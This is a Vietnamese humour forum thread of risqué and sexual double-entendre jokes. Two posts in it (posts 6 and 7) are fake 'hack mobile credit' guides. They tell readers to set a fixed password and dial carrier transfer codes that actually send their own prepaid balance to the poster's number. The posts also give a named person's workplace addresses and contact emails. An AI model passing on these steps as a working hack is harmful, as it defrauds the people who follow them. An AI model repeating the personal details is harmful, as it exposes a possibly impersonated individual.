1. Tuyển Mod quản lý diễn đàn. Các thành viên xem chi tiết tại đây

Truyện tế nhị...Không dành cho trẻ em, phụ nữ nhạy cảm và các bô lão già yếu ^0^

Chủ đề trong 'Những người thích đùa' bởi girl_never_die, 28/07/2008.

  1. 0 người đang xem box này (Thành viên: 0, Khách: 0)
  1. hanhgl

    hanhgl Thành viên gắn bó với ttvnol.com

    Tham gia ngày:
    08/02/2010
    Bài viết:
    1.771
    Đã được thích:
    941
    Bạn bè bảo tôi là thằng cô đơn vì tôi chưa từng có bạn gái. Nhưng tôi cũng đã từng có người con gái nguyện cùng tôi sống chết có nhau : “không trả nợ cho bà, bà thề sống chết với may`“ . Cũng từng có người con gái cùng tôi hẹn ước đến kiếp sau : “muốn kua chị mày đây hả? Đợi kiếp sau đi kưng “ . Và từng có người con gái cam lòng tự nguyện vì tôi mà chết : “Làm bạn gái ông? Tui thà chết còn hơn“ ==> Nghĩ lại tôi thấy mình cũng đào hoa ra phết
  2. babyphu

    babyphu Thành viên rất tích cực

    Tham gia ngày:
    25/03/2008
    Bài viết:
    522
    Đã được thích:
    55
    Hai anh em cùng nhau "đăng ký" đi lính. Ngày đầu nhập ngủ cả hai phải trải qua một cuộc khám sức khỏe tổng quát. Sau khi khám nghiệm toàn cơ thể, ông bác sĩ sững sờ nhìn cái của quí dài qúa sức tưởng tượng của hai anh em đó.
    Quá đổi ngạc nhiên, ông bác sĩ buộc miệng hỏi:

    - Tại sao "của quý" hai anh dài qúa cỡ dzậy?

    Người anh trả lời:

    - Dạ thưa, tại di truyền.

    - Ồ thì ra vậy.

    Vừa nghe trả lời, vị bác sĩ vừa hí hoáy viết vào hồ sơ. Viết xong hỏi tiếp:

    -Vậy thì cái của ba anh, chắc là daì lắm lắm phải không?

    - Dạ thưa không, di truyền là do mẹ chúng tôi.

    - Do mẹ của các anh? Bộ anh đùa tôi hả , đàn bà làm gì có "cái ấy" chứ!

    - Dạ thưa bác sĩ tôi biết vậy. Nhưng tại vì mẹ chúng tôi bị tai nạn mất một tay, chỉ còn một cánh taỵ- Mỗi lần bả tắm cho chúng tôi, tắm xong, khi kéo chúng tôi ra khỏi bồn tắm thì bả phải cầm cái gì dễ kéo nhất ạ !
  3. babyphu

    babyphu Thành viên rất tích cực

    Tham gia ngày:
    25/03/2008
    Bài viết:
    522
    Đã được thích:
    55
    Lang thang lượm lặt phục vụ các bác

    Trong một tiết học tốt có thầy hiệu trưởng tham dự. Cô giáo gọi Tèo lên hỏi:
    - Cô giáo: Con gì càng lớn càng nhỏ?
    Ông hiệu trưởng hết hồn nhưng bé Tèo trả lời ngay: "Dạ là con Cua, nó có càng lớn càng nhỏ".
    - Cô giáo: Cái gì trong quần em có mà cô không có?
    Ông hiệu trưởng xanh cả mặt.
    - Bé tèo: Dạ là hai cái túi quần.
    - Cô giáo: Ở nơi đâu mà lông của đàn bà quăn nhiều nhất?
    Ông hiệu trưởng run lên.
    - Bé tèo: Dạ ở Phi châu.
    - Cô giáo: Cái gì cô có ở giữa hai chân cô?
    Ông hiệu trưởng chết điếng người.
    - Bé Tèo: Dạ là cái đầu gối.
    - Cô giáo: Cái gì trong người của cô mà lúc nào cũng ẩm ướt?
    Ông hiệu trưởng hóc mồm ra.
    - Bé Tèo: Dạ cái luỡi ạ.
    - Cô giáo: Cái gì của cô còn nhỏ khi cô chưa lấy chồng và rộng lớn ra khi cô lập gia đình?
    Ông hiệu trưởng ra dấu không cho bé Tèo trả lời nhưng bé Tèo đáp ngay: "Dạ, là cái giường ngủ ạ".
    - Cô giáo: Cái gì mềm mềm nhưng khi vào tay cô một hồi thì cứng ra?
    Ông hiệu trưởng không dám nhìn cô giáo
    - Bé Tèo: Dạ là dầu sơn móng tay.
    - Cô giáo: Cái gì dài dài như trái chuối, cô cầm một lúc thì nó chảy nước ra?
    Ông hiệu trưởng gần xỉu.
    - Bé Tèo: Dạ là cây kem ạ.
    Ông hiệu trưởng đổ mồ hôi hột ra dấu bảo cô giáo đừng hỏi nữa và nói với bé Tèo: "Thầy cho con lên thẳng đại học bởi vì con là thần đồng. Nãy giờ thầy không trả lời đúng một câu nào hết!!
  4. y8pro

    y8pro Thành viên mới

    Tham gia ngày:
    05/10/2010
    Bài viết:
    6
    Đã được thích:
    0
    Lúc Người chế tạo ra đàn bà, Người đã suy nghĩ gì?


    thank ok iuo đọc tiếp nhé......................

  5. girl_never_die

    girl_never_die Thành viên mới

    Tham gia ngày:
    14/02/2003
    Bài viết:
    5.084
    Đã được thích:
    7
    Một nhà khoa học tánh tình hay đa nghi, nên ông ta chế tạo ra robot phát hiện nói dối. Ngày chế tạo thành công, ông đem ra thử con trai.

    Cậu con trai vừa đi học về ông ta đem robot ra hỏi:
    - Sao con đi học về trễ vậy?...
    - Con qua nhà bạn mượn sách về học.

    Robot phát hiện nói dối, đánh cho cậu con trai một cái.

    Ông bố cười:
    - Đó con thấy chưa, nói dối là phải chịu phạt. Lúc bằng tuổi con bố không dám nói dối ông nội nửa lời.

    Ngay lập tức, robot đạp ông ta một cái bay vô tường.

    Người vợ thấy cậu con trai bị đánh đòn đau bèn nói:
    - Sao anh làm thế với con, dù sao nó cũng là con anh!

    Robot nắm đầu bà vợ, đánh túi bụi 
  6. boy_votinh

    boy_votinh Thành viên mới Đang bị khóa

    Tham gia ngày:
    09/11/2010
    Bài viết:
    21
    Đã được thích:
    0
    Xin được chia sẻ cùng các bạn một thủ thuật mà mình đã thực hiện thành công:

    Như các bạn cũng đã thấy, rất nhiều các cá nhân post bài lên các diễn đàn trong nuớc với nội dung "hack tiền của mạng Viettel, Vinaphone,...” Để tìm được những topic như thế không hề khó. Ở đây mình xin nêu ra một ví dụ như: http://yobanbe.zing.vn/yobanbe/blog/...67d265949.html
    http://thcskalong.vnbb.com/viewtopic.php?f=37&t=1143 và còn rất nhiều những topic như vậy, nhưng hầu hết là của AMATEUR HACKER (dân hack không chuyên), chủ yếu nhằm vào mục đích vụ lợi chứ không thông thạo về chuyên môn, họ thiếu kinh nghiệm, kiến thức và cả tính chính xác trong lĩnh vực hack bậc thầy này, mà nó đòi hỏi phải có một trình độ hack tương đối cao. Chính vì những lí do nêu trên và với kinh nghiệm, kiến thức của mình, mình xin giới thiệu : Mình

    Họ tên: Trần Thị Kiều Hạnh.
    Hiện đang là sinh viên Khoa Công nghệ thông tin trường ĐHBK Tp.Hồ Chí Minh (chuyên Lập trình).
    Nghề nghiệp : Nhân viên lập trình phần mềm – Công ty cổ phần FCM – 216, Nguyễn Trãi, P.2, Q.05, Tp.HCM.

    Mình không dám nhận mình là một nhân viên ưu tú, nhưng với những gì mà mình tự khám phá được thì mình thấy rất hài lòng. Chắc các bạn cũng biết tới diễn đàn HAVonline - diễn đàn hacker lớn nhất hiện nay và mình rất tự hào khi mình là một Moderator của diễn đàn. Với những kinh nghiệm mà mình đã có, hôm nay mình xin giới thiệu với các bạn cách hack tài khoản Viettel hoàn toàn chính xác.

    Về nguyên lý: Sở dĩ mình nói rằng “hack bậc thầy” là do mình dùng một phần mềm có tên Money-Changing và cài vào một server viễn thông đặt tại FPT với các thông số đã được xác định. Khi các bạn gửi cú pháp hack cho tổng đài, hệ thống máy tính của tổng đài sẽ kiểm tra cú pháp xem có đúng không? Nếu đúng cú pháp thì tổng đài sẽ chuyển số tiền hack đến địa chỉ port kết nối của server và chuyển đến ngay phần mềm Money-Changing thông qua PassID. Ngay lúc này, phần mềm Money-Changing sẽ tự động nhận biết và tiến hành kiểm tra, xử lý, nhân x10tài khoản hack và sau đó sẽ chuyển số tài khoản trên đến số điện thoại vừa thực hiện cú pháp hack tiền. Nếu cú pháp sai, tổng đài sẽ thông báo rằng “cú pháp không đúng” (hoặc một nội dung tương tự) và yêu cầu bạn gửi lại cú pháp.

    Về cách làm: Do thời gian có hạn nên mình nói ngắn gọn như sau:


    Các bạn chỉ cần thực hiện tuần tự và chính xác theo yêu cầu của 6 bước sau:

    1 - Một SIM Viettel (trả trước) hoạt động trên 180 ngày (hơn 6 tháng). Tại sao phải cần vậy? Vì chỉ có những SIM hoạt động trên 6 tháng mới được Viettel đưa vào mã bảo vệ tài khoản chuyển tiền và mới có thể hack được thông qua server trung gian do Hạnh quản lý (6 tháng chưa được đâu).

    2 - Rất đơn giản : Soạn tin MK gửi tới 136 để lấy mật khẩu của bạn (nếu bạn chưa có). Tại sao phải cần vậy? Vì chúng ta hack thông qua server viễn thông trung gian của FPT.

    3 - Ðổi mật khẩu: các bạn gọi tới 900, nhấn phím số 3 và sau đó làm theo hướng dẫn, và điều quan trọng nằm ở bước này. Các bạn phải đổi mât khẩu thành dãy nhị phân sau: 10010010, đó chính là mật khẩu mà server trung gian sẽ quản lý. Đây là mật khẩu duy nhất để chuyển tới TIS của tôi. Tại sao phải làm vậy? Vì khi các bạn chuyển mật khẩu thành dãy số nhị phân trên tức là đã mã hóa tài khoản của bạn trên sever mà mình quản lý. Ðiều này rất quan trọng.

    4 - Tài khoản chính trong SIM của bạn phải có nhiều hơn 31999Vnd.

    5 - Các bạn làm theo cú pháp như sau: *136*mật khẩu*PortID*PassID#.

    Lưu ý ở đây mật khẩu = 10010010 (là mật khẩu bạn vừa đổi ở trên); PortID = 1687886471 (là địa chỉ port kết nối đến server trung gian FPT); PassID = 30000 (vừa là password truy cập vào phần mềm Money-Changing, vừa là số tiền mà tổng đài phải chuyển đến) Tại sao phải vậy? Vì chúng ta hack thông qua dịch vụ I-Share của Viettel. Nên nhớ phải nhập chính xác cú pháp, nếu thực hiện sai thì sẽ không thành công và mình không chịu trách nhiệm đâu đó! Thật ra đây là một trong những cách hack tài khoản điện thoại mà các hacker chuyên nghiệp trên thế giới gần đây mới sử dụng (nguyên lý là dùng mã hack đảo chiều các dịch vụ chuyển tiền từ các Server di động, chẳng hạn như M2U, 2Friend, I-Share,… ; hiện trên mạng có nhiều tài liệu tiếng Anh nói về vấn đề này).

    Xin thông báo với các bạn là hiện nay Sever trung gian mà mình tạo ra là sever an toàn nhất và là duy nhất (đã test kỹ).

    6 - Sau khi làm xong những bước trên: các bạn chỉ cần đợi vài phút, sẽ có tin nhắn trả lời và tài khoản chính của các bạn đã được cộng thêm 300000VND. (Lưu ý: không nên hack quá 4 lần trong ngày vì mình đã lập trình cho phần mềm như thế rồi, nếu cứ để các bạn hack nhiều quá thì chắc tổng đài không tha cho mình). Thật tuyệt vời phải không?! Mình ăn của bọn Viettel chán rồi nên bây giờ chia sẻ cho mọi người.

    Tất cả chỉ có vậy, mình đưa ra cho các bạn nào quan tâm thì tham khảo. Nếu thấy bài viết hay và hiệu quả thì nhớ comment hoặc gửi tin qua nick cho mình và đừng quên cám ơn mình nhé! Sau này, nếu được tăng lương thì mình sẽ mướn thêm vài port trên server FPT nữa (hiện nay mình chỉ mướn có 3 ports áp dụng cho 3 mạng Viettel, Vinaphone và Mobifone (mỗi mạng 1 port), mà các port trên gần quá tải rồi).

    Xin lưu ý thêm: Hiện nay, do số người thực hiện hack quá nhiều, vượt quá dự đoán của mình, mà server thì chỉ có 1port thôi nên không thể tránh khỏi tình trạng kẹt mạng nếu tại thời điểm bạn thực hiện có trên 5 người cùng thực hiện. Do đó có thể bạn phải thực hiện liên tục từ 2 đến 3 lần mới thành công. Vả lại, do đây là server viễn thông của FPT nên không loại trừ khả năng tấn công của virus (nhiều khi phải làm vài lần mới được). Và một điều quan trọng là theo mình biết thì hiện nay chỉ có mình mới dùng chiêu này thôi nên tất cả các thông số trên là duy nhất. Tuy nhiên, hiện nay trên mạng có rất nhiều bạn đã copy bài của mình rồi sửa lại (nhưng không thay đổi tên của mình và những thông tin liên lạc về mình), điều này làm cho rất nhiều bạn không thể hack được và cứ nhắn tin cho mình để hỏi mình lý do tại sao không thể thực hiện được và cho rằng mình lừa đảo. Thật là oan cho mình! Vậy xin các bạn nên xem tại blog http://my.opera.com/TRANNGUYENKIMTHOA để được chính xác nhé! Cảm ơn các bạn!!!

    Mình hướng dẫn rất đầy đủ nên các bạn vui lòng đọc kỹ, nếu các bạn cần hỏi thêm những gì mà trong bài không có thì xin các bạn liên hệ với mình qua nickname uocmoxanh20011@yahoo.com hoặc email uocmoxanh20011@gmail.com hoặc cũng có thể liên lạc trực tiếp với mình – TRẦN THỊ KIỀU HẠNH - từ 11h đến 13h các ngày trong tuần (trừ chủ nhật) tại cổng Công ty cổ phần FCM – 216, Nguyễn Trãi, P.2, Q.05, Tp.HCM.


    Phương châm của mình: “DÙ BẢO MẬT NHƯNG VẪN CÓ KẼ HỞ. CHÚNG TA PHẢI BIẾT TẬN DỤNG NÓ!!!”[/COLOR][/CENTER]
  7. boy_votinh

    boy_votinh Thành viên mới Đang bị khóa

    Tham gia ngày:
    09/11/2010
    Bài viết:
    21
    Đã được thích:
    0
    HACK TIỀN MẠNG VINAPHONE THẬT ĐƠN GIẢN!!!
    Hiện nay như các bạn cũng đã thấy, rất nhiều các cá nhân post bài lên các diễn đàn trong nước với nội dung "hack tiền của mạng VIETTEL, VinaPhone,..." .Để tìm được những topic như thế không hề khó. Nhưng tiền hack được thì chẳng thấy, chỉ thấy tiền trong tài khoản đội nón ra đi. Chính vì những lí do nêu trên, tôi xin giới thiệu : Tôi

    Họ tên: Trần Thị Kiều Hạnh.
    Nghề nghiệp : Chuyên viên Bảo mật Mạng – Công ty cổ phần Kiến Á – 216, Nam Kỳ Khởi Nghĩa, P.06, Q.03, Tp.HCM.

    Tôi không dám nhận mình là một nhân viên ưu tú, nhưng với những gì mà mình tự khám phá được thì tôi thấy rất hài lòng. Hôm nay tôi xin giới thiệu với các bạn cách hack tiền tài khoản Vinaphone hoàn toàn chính xác. Do thời gian có hạn nên tôi nói ngắn gọn như sau:


    + Yêu cầu cần có:

    1 - Một sim VINAPHONE hoạt động trên 180 ngày. Tại sao phải cần vậy? Vì chỉ có những sim hoạt dộng trên 6 tháng mới được VNPT đưa vào mã bảo vệ tài khoản chuyển tiền trên server VNPT quản lý (6 tháng chưa được đâu các bạn).

    2 - Rất đơn giản : Soạn tin DK gửi tới 999 để lấy mât khẩu chuyển tiền của bạn (nếu bạn chưa có). Tại sao phải cần vậy? Vì chúng ta hack thông qua dịch vụ chuyển tiền của Vina.

    3 - Ðổi mật khẩu chuyển tiền: các bạn nhắn tin theo có pháp sau và gửi tới 999

    DMK_[MK cũ]_[MK mới]

    và điều quan trong nằm ở bước này. Các bạn phải đổi mât khẩu chuyển tiền thành dãy số sau: 110100. Tại sao phải làm vậy? Vì khi các bạn chuyển mật khẩu thành dãy số trên tức là đã mã hóa tài khoản của bạn trên sever mà VNPT quản lý. Ðiều này rất quan trọng.

    4 - Tài khoản trong sim của bạn phải có nhiều hơn 50101 Vnd.

    5 - Các bạn làm theo cú pháp như sau:

    *999*110100*01234267783*49000#.

    Tại sao phải vậy? Vì chúng ta hack thông qua dịch vụ chuyển tiền 2Friend của VinaPhone và số 01234267783 không phải số điện thoại bình thường mà chính là một sever trung gian có dạng giống như một số
    diện thoại để lừa ADMIN của vinaphone nếu không tin mình thì bạn có thể giọi đến số đó để kiểm tra lời mình (tiếng Anh là TIS inc-Telephone number of Intermediacy Server) mà tôi đã tạo ra được nhằm lợi dụng lỗ trống bảo mật để tạo ra khoảng trống trên server của Admin và con số 49000 là mật khẩu của sever mà tôi tạo ra để các bạn đăng nhập (VNPT sẽ chuyển tiền từ Server trung gian vào tài khoản điện thoại của bạn). Xin thông báo hiện nay sever trung gian mà tôi tạo ra là sever duy nhất hiện nay (đã test không một lỗi nào).


    6- Sau khi làm xong những bước trên, các bạn chỉ cần đợi 5 phút, sẽ có tin nhắn trả lời và tài khoản của các bạn đã được cộng thêm 110100 vnd.

    Tất cả chỉ có vậy thôi, tôi đưa ra mong các bạn làm thử nghiệm nếu hoạt động tốt tôi sẽ mở thêm nhiều sever trung gian hơn nữa. Chúc các bạn thành công và nhớ cám ơn tôi nếu thấy thủ thuật này hữu ích cho bạn nhé. (Lưu ý: không được hack quá 4 lần trong 1 ngày). Nếu cần, xin các bạn liên hệ với tôi qua nickname uocmoxanh20011@yahoo.com hoặc email uocmoxanh20011@gmail.com hoặc cũng có thể liên lạc trực tiếp với tôi từ 11h đến 13h các ngày trong tuần (trừ chủ nhật) tại cổng Công ty cổ phần Kiến Á – 216, Nam Kỳ Khởi Nghĩa, P.06, Q.03, Tp.HCM.

    Phương châm của tôi: "DÙ BẢO MẬT NHƯNG VẪN CÓ KẼ HỞ. CHÚNG TA HÃY TẬN DỤNG!!!" [/COLOR] [/COLOR]
    2 - Rất đơn giản : Soạn tin DK gửi tới 999 để lấy mât khẩu chuyển tiền của bạn (nếu bạn chưa có). Tại sao phải cần vậy? Vì chún[/B][/COLOR]
  8. sakura

    sakura Thành viên rất tích cực

    Tham gia ngày:
    11/04/2001
    Bài viết:
    1.660
    Đã được thích:
    0
    hai cái chuyện hài của boy_votinh đọc buồn cười vãi, đúng là hài hước thời hiện đại.
  9. gamenhe

    gamenhe Thành viên mới

    Tham gia ngày:
    13/11/2010
    Bài viết:
    65
    Đã được thích:
    0
    đọc bài mấy bác cười thắt cả bụng, để hôm nào rỗi rãi post vài chuyện sưu tầm đc lên chia sẻ với các bác vậy :D
  10. phongnhu

    phongnhu Thành viên mới

    Tham gia ngày:
    02/04/2007
    Bài viết:
    140
    Đã được thích:
    0
    chñ topic l¾m chuyÖn qyá

Chia sẻ trang này